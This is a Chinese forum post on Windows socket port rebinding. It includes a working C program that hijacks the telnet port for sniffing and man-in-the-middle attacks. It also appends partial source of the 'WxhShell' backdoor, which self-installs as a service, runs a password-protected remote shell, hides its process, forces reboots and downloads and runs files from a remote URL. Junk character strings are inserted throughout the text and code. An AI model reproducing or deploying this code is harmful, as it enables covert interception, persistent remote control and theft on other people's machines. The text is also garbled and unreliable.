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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wH]Y1 m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~vB dq Yj  
v{oHC4  
  saddr.sin_family = AF_INET; r;SOAucX  
xaNM?]%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  2c%b  
m*'87a9q0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &FY7 D<  
)}i|)^J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :aWC6"ik-W  
$\q}A:  
  这意味着什么?意味着可以进行如下的攻击: )Ag{S[yZ  
U)C>^ !Us  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ie}?}s  
!a^'Jbb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /kNSB;  
_6]c f!H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PYr'1D'  
"HtaJVp//  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DT3koci(  
BoP,MpF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |SuN3B4e  
l09SWug  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <~n%=^knE  
M sQ=1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BjV;/<bt  
uQiW{Kja2  
  #include R/jHH{T3  
  #include Y Sux#*#H  
  #include !XQ)>T^G5  
  #include    *&tv(+P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T4h&ly5 f  
  int main() oD=+  
  { hFMT@Gy  
  WORD wVersionRequested; J Mm'JK?  
  DWORD ret; Ah_0o_Di  
  WSADATA wsaData; C~R,,  
  BOOL val; lN'b"N  
  SOCKADDR_IN saddr; HleMzykF  
  SOCKADDR_IN scaddr; Ti&v9re%wO  
  int err; V?-SvQIk1  
  SOCKET s; cXbQ  
  SOCKET sc; nHl{'|~  
  int caddsize; |[X-i["y  
  HANDLE mt; X1o=rT  
  DWORD tid;   1ZO/R%[  
  wVersionRequested = MAKEWORD( 2, 2 ); >j)y7DSE  
  err = WSAStartup( wVersionRequested, &wsaData ); Mi047-% (  
  if ( err != 0 ) { nTCwLnX(O  
  printf("error!WSAStartup failed!\n"); qL~|bfN  
  return -1; . H9a  
  } b}J,&eYD  
  saddr.sin_family = AF_INET; 4%5 +  
   k;Ask#rs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zXML<?w  
Ir6g"kwCKq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8K2=WYN  
  saddr.sin_port = htons(23); Le*gdoW.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LTcZdQd$  
  { Vr hd\  
  printf("error!socket failed!\n"); |nmt /[  
  return -1; ]}L tf,9  
  } I 8VCR8q  
  val = TRUE; )wCV]TdF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NE+ ;<mW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z4 KKt&  
  { rkn'1M&u  
  printf("error!setsockopt failed!\n"); N `[ ?db-%  
  return -1; Y7<(_p7  
  } #sM*<2vj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DhN<e7c`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *H~&hs>k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o_n 3.O=  
#7=- zda5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n a+P|'6  
  { }s:~E2?In  
  ret=GetLastError(); eDY)i9"W  
  printf("error!bind failed!\n"); PLRMW 2  
  return -1; 3ICMH  
  } G(gZL%M6  
  listen(s,2); ;@H:+R+(  
  while(1) c{[lT2yxU  
  { 75eZhs[b  
  caddsize = sizeof(scaddr); f47dB_{5f.  
  //接受连接请求 R7/ET"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6/.cS4  
  if(sc!=INVALID_SOCKET) r*{`_G=1  
  { 9*2^2GR^;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @k)[p+)E  
  if(mt==NULL) YR u#JYti  
  { ,&G !9}EC  
  printf("Thread Creat Failed!\n"); Lm*PHG  
  break; \e~5Dx1  
  } WkDXWv\{,{  
  } W^)'rH  
  CloseHandle(mt); 6@FGt3y  
  } I-m Bj8^;  
  closesocket(s); id [caP=`  
  WSACleanup(); '3fN2[(  
  return 0; ~nb1c:F  
  }   TNlOj a:  
  DWORD WINAPI ClientThread(LPVOID lpParam) .,\^{.E  
  { Iqq BUH  
  SOCKET ss = (SOCKET)lpParam; @4=Az1W*  
  SOCKET sc; {!^0j{T  
  unsigned char buf[4096]; *M'/z=V?%  
  SOCKADDR_IN saddr; dP=,<H#]m  
  long num; V#X<Yt  
  DWORD val; >DR$}{IV  
  DWORD ret; WJy\{YAG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j[Gg[7q{y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |z?c>.  
  saddr.sin_family = AF_INET; fT{%zJU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y|ErVf4  
  saddr.sin_port = htons(23); =s&ycc;-5}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F8|m i`f-  
  { 2yV^'o)  
  printf("error!socket failed!\n"); P DwBSj  
  return -1; jmF)iDvjuZ  
  } PxA OKUpI  
  val = 100; +#9 4 X)*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E_\V^  
  { +!)_[ zo  
  ret = GetLastError(); 1AQy 8n*  
  return -1; ?{\h`+A  
  } }WHq?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iw{^nSD  
  { v(zfq'^%`  
  ret = GetLastError(); ATjE8!gO!  
  return -1; bWJ&SR>  
  } .$o A~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hG >kx8h  
  { 3 J5lz~6  
  printf("error!socket connect failed!\n"); i5SDy(?r  
  closesocket(sc); _pxurq{  
  closesocket(ss); l OiZ2_2  
  return -1; r?/!VO-*N  
  } OO\$'% y`  
  while(1) d ;i@9+  
  { & l0LW,Bx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $hy0U_}6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q9i[?=F:z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _gw paAJ  
  num = recv(ss,buf,4096,0); Qh+zs^-?  
  if(num>0) vbfQy2q  
  send(sc,buf,num,0); Z1{>"o:@  
  else if(num==0) o{3>n" \w3  
  break; 0wt4C% .0  
  num = recv(sc,buf,4096,0); *!ecb1U5  
  if(num>0) 'xGTaKlm,  
  send(ss,buf,num,0); b4 Pa5 w  
  else if(num==0) #3?}MC  
  break; D# gC-,  
  } klnk{R.>|  
  closesocket(ss); S|F:[(WaM  
  closesocket(sc); ^Hz1z_[X@  
  return 0 ; lN x7$z`  
  } vsJDVJ +=  
<`WcI`IA b  
)r?- _qj=  
========================================================== sgRWjrc/  
a%5/Oc[[  
下边附上一个代码,,WXhSHELL + ]iK^y-.r  
}ld^zyL  
========================================================== $g),|[ x+(  
`pF7B6[B  
#include "stdafx.h" 8RQv  
$laUkD#vz  
#include <stdio.h> ;vy<!@Y;8  
#include <string.h> J,\e@  
#include <windows.h> M0$E_*  
#include <winsock2.h> FH%M5RD  
#include <winsvc.h> z\$(@:{A  
#include <urlmon.h> 5 v^tPGg4  
}G<~Cx5[  
#pragma comment (lib, "Ws2_32.lib") rU6A^p\,  
#pragma comment (lib, "urlmon.lib") FIUQQQ\3  
3,n"d-  
#define MAX_USER   100 // 最大客户端连接数 kn/xt  
#define BUF_SOCK   200 // sock buffer f~7V<v  
#define KEY_BUFF   255 // 输入 buffer k8r1)B4ab  
Z\cD98B#  
#define REBOOT     0   // 重启 ]r'D  
#define SHUTDOWN   1   // 关机 M3r;Pdj2r  
VOIni<9y  
#define DEF_PORT   5000 // 监听端口 eD7qc1*G  
P3nBxw"  
#define REG_LEN     16   // 注册表键长度 rA E5.Q!u  
#define SVC_LEN     80   // NT服务名长度 |a %Wd  
hzT)5'_  
// 从dll定义API '8[; m_S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tgh?=]H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -hc8IS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v0?SN>fZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vmh>|N4a7  
3gnO)"$  
// wxhshell配置信息 3W{ !\  
struct WSCFG { 20}w . V  
  int ws_port;         // 监听端口 sPXjU5uq#  
  char ws_passstr[REG_LEN]; // 口令 UZ#oaD8H6  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vf<q-3q  
  char ws_regname[REG_LEN]; // 注册表键名 ;e< TEs  
  char ws_svcname[REG_LEN]; // 服务名 %NM={X|'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ci/qm\JI<<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D$@2H>.-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M8/:PmR<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XUnw*3tPJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T#wG]DH;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cc;8+Z=a?G  
vPc*x5w-  
}; $HtGB]  
9Q!Z9n"8~)  
// default Wxhshell configuration AyPtbrO  
struct WSCFG wscfg={DEF_PORT, @DF7j|]tV  
    "xuhuanlingzhe", vn!3Z!dm(  
    1, jw`05rw:  
    "Wxhshell", sG)aw`_j  
    "Wxhshell", PQa0m)H@  
            "WxhShell Service", tY: Nq*@  
    "Wrsky Windows CmdShell Service", zWH)\>X59  
    "Please Input Your Password: ", x,zYNNx5g  
  1, @b,6W wc  
  "http://www.wrsky.com/wxhshell.exe", 'GT^araz  
  "Wxhshell.exe" '#=0q  
    }; %V+"i_{m  
- Ry+WS=  
// 消息定义模块 ;<_a ,5\Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P$Oj3HD LM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }2iR=$2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H5 V>d  
char *msg_ws_ext="\n\rExit."; *C<;yPVc  
char *msg_ws_end="\n\rQuit."; >oO]S]W  
char *msg_ws_boot="\n\rReboot..."; Z4rk$K'=1w  
char *msg_ws_poff="\n\rShutdown..."; dfKGO$}V  
char *msg_ws_down="\n\rSave to "; r7L.W  
1z-A3a/-  
char *msg_ws_err="\n\rErr!"; 5+;Mc[V3-  
char *msg_ws_ok="\n\rOK!"; \P")Eh =d  
f*xr0l  
char ExeFile[MAX_PATH]; :0QDV~bs  
int nUser = 0; T\g+w\N  
HANDLE handles[MAX_USER]; CWocb=E  
int OsIsNt; 3u&,3:  
GC'e  
SERVICE_STATUS       serviceStatus; ir"t@"Y;o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vhAgX0k  
a2tEp+7?  
// 函数声明 "qd|!:bE  
int Install(void); gPb.%^p  
int Uninstall(void); C#^y{q  
int DownloadFile(char *sURL, SOCKET wsh); jT}={[9b  
int Boot(int flag); MtaGv#mJ  
void HideProc(void); ^m&I^ \  
int GetOsVer(void); yj#*H  
int Wxhshell(SOCKET wsl); miu?X!  
void TalkWithClient(void *cs); }z$_!)/i  
int CmdShell(SOCKET sock); dR;N3KwY  
int StartFromService(void); #o7)eKeQ  
int StartWxhshell(LPSTR lpCmdLine); cjJfxD&q  
} Z FoCMM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |w54!f6w_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B+mxM/U[c  
cz{`'VN}`  
// 数据结构和表定义 {\CWoFht>  
SERVICE_TABLE_ENTRY DispatchTable[] = 0c`nk\vUy  
{ c)B3g.C4m  
{wscfg.ws_svcname, NTServiceMain}, )G Alj;9A$  
{NULL, NULL} xr7}@rq"U<  
}; Dmr*Lh~  
y_}vVHT,  
// 自我安装 >}%#s`3W1_  
int Install(void) AvB=/p@]  
{ IZ7o6Etti  
  char svExeFile[MAX_PATH]; ES AX}uF  
  HKEY key; 2xflRks  
  strcpy(svExeFile,ExeFile); ybw\^t  
pGjwI3_K  
// 如果是win9x系统,修改注册表设为自启动 , ?U)mYhI  
if(!OsIsNt) { 4=/jh:h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P.C?/7$7Z+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FHw%ynC  
  RegCloseKey(key); f? @Qt<+k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BDvkY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s_XCKhN:  
  RegCloseKey(key); `bfUP s  
  return 0; OKlR`Vaty  
    } D 5n\h5  
  } dk nM|  
} A,~KrRd  
else { nJ]7vj,rB  
boGdZ2$h4  
// 如果是NT以上系统,安装为系统服务 |1(x2x%}D^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |+W{c`KL  
if (schSCManager!=0) -X!<$<\y;  
{ ;!A8A4~nu  
  SC_HANDLE schService = CreateService Z@Zg3AVU  
  ( q+9->D(6  
  schSCManager, F |BY]{  
  wscfg.ws_svcname, bs?\ )R5/  
  wscfg.ws_svcdisp, ~`FRU/@r  
  SERVICE_ALL_ACCESS, g9|OhymB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {)lZfj}l  
  SERVICE_AUTO_START, M,@M5o2u  
  SERVICE_ERROR_NORMAL, m+;U,[%[*E  
  svExeFile, n=V|NrU  
  NULL, <O0tg[ub  
  NULL, i0K 2#}=^  
  NULL, P dqvXc  
  NULL, ?Y3i-jY  
  NULL Qe>_\-f  
  ); VsL,t\67  
  if (schService!=0) G\dPGPPM  
  { i/+^C($'f  
  CloseServiceHandle(schService); Os'E7;:1h  
  CloseServiceHandle(schSCManager); H=C~h\me?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x-k-Pd  
  strcat(svExeFile,wscfg.ws_svcname); h~\k;ca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Si]?4:E7=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7*+CX  
  RegCloseKey(key); (WC =om  
  return 0; [mu8V+8@d4  
    } #$xtUCqX  
  } slPr^)  
  CloseServiceHandle(schSCManager); ~6n|GxR.[  
} PiM(QR  
} @I?,!3`jS  
zPp22  
return 1; -Yse^(^"s  
} #%k_V+o3  
8c-ys-"#  
// 自我卸载 s 0Uid&qE  
int Uninstall(void) e}yF2|0FD  
{ 9!n95  
  HKEY key; Es7 c2YdU  
!~9ASpqvPy  
if(!OsIsNt) { 5@%Gq)z5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ YF@r7  
  RegDeleteValue(key,wscfg.ws_regname); 4;J.$  
  RegCloseKey(key); >~Zj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X}(X\rp  
  RegDeleteValue(key,wscfg.ws_regname); 5X)QW5A  
  RegCloseKey(key); ~ Ze!F"  
  return 0; I F6$@Q  
  } 8|)!E`TKSV  
} M?sax+'  
} :?zq!  
else { G{fPQ=  
]vz6DJs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nc:/GxP  
if (schSCManager!=0) g4=1['wW  
{ t;VMtIW+E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c=\_[G(  
  if (schService!=0) wi7Br&bGi  
  { 'yX\y 6I  
  if(DeleteService(schService)!=0) {  VQH48{X  
  CloseServiceHandle(schService); DCiU?u~  
  CloseServiceHandle(schSCManager); Zqm%qm:  
  return 0; X5/j8=G H`  
  } 'uL$j=vB  
  CloseServiceHandle(schService); BedL `[ ,  
  } 9`/e= RL  
  CloseServiceHandle(schSCManager); 6 :3Id  
} e8 ]CB  
} F]6G<6T[  
I2CI9,0  
return 1; jy.L/s  
} 'XKfKv >;  
WuY#Kx~2  
// 从指定url下载文件 U.SC,;N^  
int DownloadFile(char *sURL, SOCKET wsh) iu=Mq|t0  
{ J[6/dM  
  HRESULT hr; ty['yV-;a  
char seps[]= "/"; h SS9mQ  
char *token; =<HekiYM  
char *file; G`%rnu  
char myURL[MAX_PATH]; @JhkUGG]p  
char myFILE[MAX_PATH]; )J@[8 x`  
uo]\L^j   
strcpy(myURL,sURL); IrCl\HQN  
  token=strtok(myURL,seps); qpe9?`vVX  
  while(token!=NULL) oQ]FyV  
  { 0qFO+nC  
    file=token; ) 6QJZ$  
  token=strtok(NULL,seps); jW8ad{  
  } 8/R$}b><  
P{K\}+9F   
GetCurrentDirectory(MAX_PATH,myFILE); 5 ,MM`:{{  
strcat(myFILE, "\\"); yO7H!}y_  
strcat(myFILE, file); A2\hmp@A@7  
  send(wsh,myFILE,strlen(myFILE),0); cD`?" n  
send(wsh,"...",3,0); +1c r6a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GOdWc9Ta!  
  if(hr==S_OK) 2(GY k  
return 0; i`l;k~rP  
else - i2^ eZl  
return 1; .$cX:"_Mk  
n%36a(] t  
} Szu @{lpP@  
8v4krz<Iq  
// 系统电源模块 igTs[q=Ak  
int Boot(int flag) ^E \4`  
{ a] c03$fK  
  HANDLE hToken; ,/p+#|>C=  
  TOKEN_PRIVILEGES tkp; Ou4hAm91s  
,ov$` v  
  if(OsIsNt) { OjffN'a+N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -:_3N2U=+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b)Nd}6}<?  
    tkp.PrivilegeCount = 1; Z:h'kgG&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \PN*gDmX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <Ffru?o4j  
if(flag==REBOOT) { 3 +'vNc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bj6%mI42hl  
  return 0; B=W#eu <1  
} #s\yO~F-  
else { ~P}ng{x4z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |4/rVj"  
  return 0; !sI^Lh,Y  
} jt6_1^  
  } 1 Lg{l  
  else { &k*oG: J3  
if(flag==REBOOT) { ImB5F'HI$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Es}`S Ie/  
  return 0; H'$H@Kn]-  
} :##$-K*W"  
else { y]R+/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PyI"B96gz  
  return 0; e9'0CH<  
} DQu)?Rsk  
} s^PsA9EAn  
9Ut eD@*  
return 1; EY)?hJS,  
} wU'+4N".  
J=kf KQV  
// win9x进程隐藏模块 fA1{-JzV<4  
void HideProc(void) VPO~veQ  
{ PQ_A^95  
AwuhF PG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w#BT/6W&G  
  if ( hKernel != NULL ) OD Ry  
  { 2H8\P+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cna%;f.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M).CyY;bm  
    FreeLibrary(hKernel); Zr6.Nw  
  } &%(Dd  
`N}V i6FG  
return; QaE!?R  
} (8ct'Q;  
PVxu8n  
// 获取操作系统版本 ~S~+'V,d  
int GetOsVer(void) @v&P;=lU  
{ w?*79 u  
  OSVERSIONINFO winfo; 4k{xo~+%,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xep2 )3k>  
  GetVersionEx(&winfo); _'y`hKeI[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^"iL|3d  
  return 1; A[fTpS~~%  
  else yfqe6-8U  
  return 0; 7zN7PHT=$t  
} k`'*niz  
2Kr8#_) 0  
// 客户端句柄模块 7;.Iat9gMf  
int Wxhshell(SOCKET wsl) z&#^9rM"  
{ XLYGhM  
  SOCKET wsh; >Z gV8X:  
  struct sockaddr_in client; `l70i2xcj  
  DWORD myID; V#Y"0l+~  
@|w/`!}9q  
  while(nUser<MAX_USER) x@)cj  
{ M.qv'zV`xG  
  int nSize=sizeof(client); 1n6%EC|X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z{ 9Io/  
  if(wsh==INVALID_SOCKET) return 1; ($UUgjv F  
=?]S8cth  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ][//G|9  
if(handles[nUser]==0) hH05p!2  
  closesocket(wsh); &Vpr[S@:{  
else C^_m>H3b  
  nUser++; (*vBpJyz%  
  } plr3&T~,&S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kbH@h2Ww  
L|b[6[XTHL  
  return 0; 2*gB~Jn4  
} p,(W?.ZDN?  
c*R\fQd  
// 关闭 socket Ed-3-vJej6  
void CloseIt(SOCKET wsh) spQr1hx<  
{ q JtLJ<=1  
closesocket(wsh); {{pN7Z  
nUser--; y= 8SD7P'  
ExitThread(0); `d/* sX?k  
} (6 }7z+  
:1"k`AG  
// 客户端请求句柄 e:N;Jx#  
void TalkWithClient(void *cs) |RXXj[z  
{ o1{3[=G  
2zv:j7  
  SOCKET wsh=(SOCKET)cs; |h/{ qpsu  
  char pwd[SVC_LEN]; K0I.3| 6C  
  char cmd[KEY_BUFF]; >s.y1Vg~C  
char chr[1]; CZy3]O"qW  
int i,j; g{>0Pa 1?C  
y5^OD63s  
  while (nUser < MAX_USER) { 33~8@]b  
8NNs_~+x}  
if(wscfg.ws_passstr) { ;Vf{3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5vS[{;<&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  -V"W  
  //ZeroMemory(pwd,KEY_BUFF); |v#D}E  
      i=0; !N][W#:  
  while(i<SVC_LEN) { UbIUc}ge  
=jxy4`oF  
  // 设置超时 "|,KXv')  
  fd_set FdRead; w|0:0Rc~u  
  struct timeval TimeOut; z/WGL  
  FD_ZERO(&FdRead); X -=M>H^  
  FD_SET(wsh,&FdRead); u35"oLV6}#  
  TimeOut.tv_sec=8; DV>;sCMJ %  
  TimeOut.tv_usec=0; LU@1Gol  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f+)LVT8p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nq+6ipx  
=E(ed,gH8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oSYbx:2wo  
  pwd=chr[0]; JIYzk]Tj  
  if(chr[0]==0xd || chr[0]==0xa) { 68<W6z  
  pwd=0; 7.)_H   
  break; 3'0Jn6(  
  } tef>Py  
  i++; D=.Ob<m`Z  
    } k f|J  
i]@k'2N  
  // 如果是非法用户,关闭 socket NweGK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); im)r4={ 9  
} P{J9#.Zq&s  
6V6Mo}QF s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +o0yx U 7t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qM2m!  
5'`DrTOA  
while(1) { Nm-E4N#'i  
0;OZ|;Z  
  ZeroMemory(cmd,KEY_BUFF); ~Dw% d;  
n\BV*AH  
      // 自动支持客户端 telnet标准   6p3cMJ'8y  
  j=0; XW^Pz (  
  while(j<KEY_BUFF) { _[l&{,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A9J{>f  
  cmd[j]=chr[0]; F,K))325  
  if(chr[0]==0xa || chr[0]==0xd) { T#I}w\XlhP  
  cmd[j]=0; 4+p1`  
  break; ^q%f~m,O<  
  } -r~9'aEs  
  j++; <*/Z>Z_c2  
    }  b=Ektq  
@LS%uqs  
  // 下载文件 J*6B~)Sp@  
  if(strstr(cmd,"http://")) { XgeUS;qtta  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "&;X/~j  
  if(DownloadFile(cmd,wsh)) *M>~$h7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`M`F<_\:  
  else RjrQDh|((  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ip*^eS^  
  } ]n:R#55A  
  else { i3$G)W  
+t Prqv"(  
    switch(cmd[0]) { vD/l`Ib:  
  1g$xKe~]4  
  // 帮助 j>.1RG  
  case '?': { vI48*&]wTf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F/:%YR;  
    break; ~xws5n}F  
  } 3.ShAL  
  // 安装 v5?ct?q  
  case 'i': { :w4N*lV-  
    if(Install()) m?8o\|i,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;l < amB  
    else *o(bB!q"c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g1l:k1\Ht  
    break; G$CSZrP.  
    } \-[ >bsg  
  // 卸载 lKqFuLHwF  
  case 'r': { 4 &:|h  1  
    if(Uninstall()) =n@\m <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * {p:C  
    else N6A|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xnw'&E  
    break; (VHPcoL  
    } WV p6/HS  
  // 显示 wxhshell 所在路径 ]zIIi%  
  case 'p': { \SYeDy  
    char svExeFile[MAX_PATH]; 0Xn,q]@Z  
    strcpy(svExeFile,"\n\r"); *#?9@0b@  
      strcat(svExeFile,ExeFile); EW `WFBjj  
        send(wsh,svExeFile,strlen(svExeFile),0); -0NkAQrg  
    break; [I<J6=  
    } wCj)@3F  
  // 重启 ?Ho>  
  case 'b': { 7pnlS*E.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E4_,EeC#  
    if(Boot(REBOOT)) cw0uLMqr`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DC_k0VBn  
    else { CqU^bVs  
    closesocket(wsh); GI:!,9  
    ExitThread(0); !>kg:xV  
    } %`/F> `  
    break; z XUr34jF  
    } #60gjHYaV  
  // 关机 L[`8 :}M  
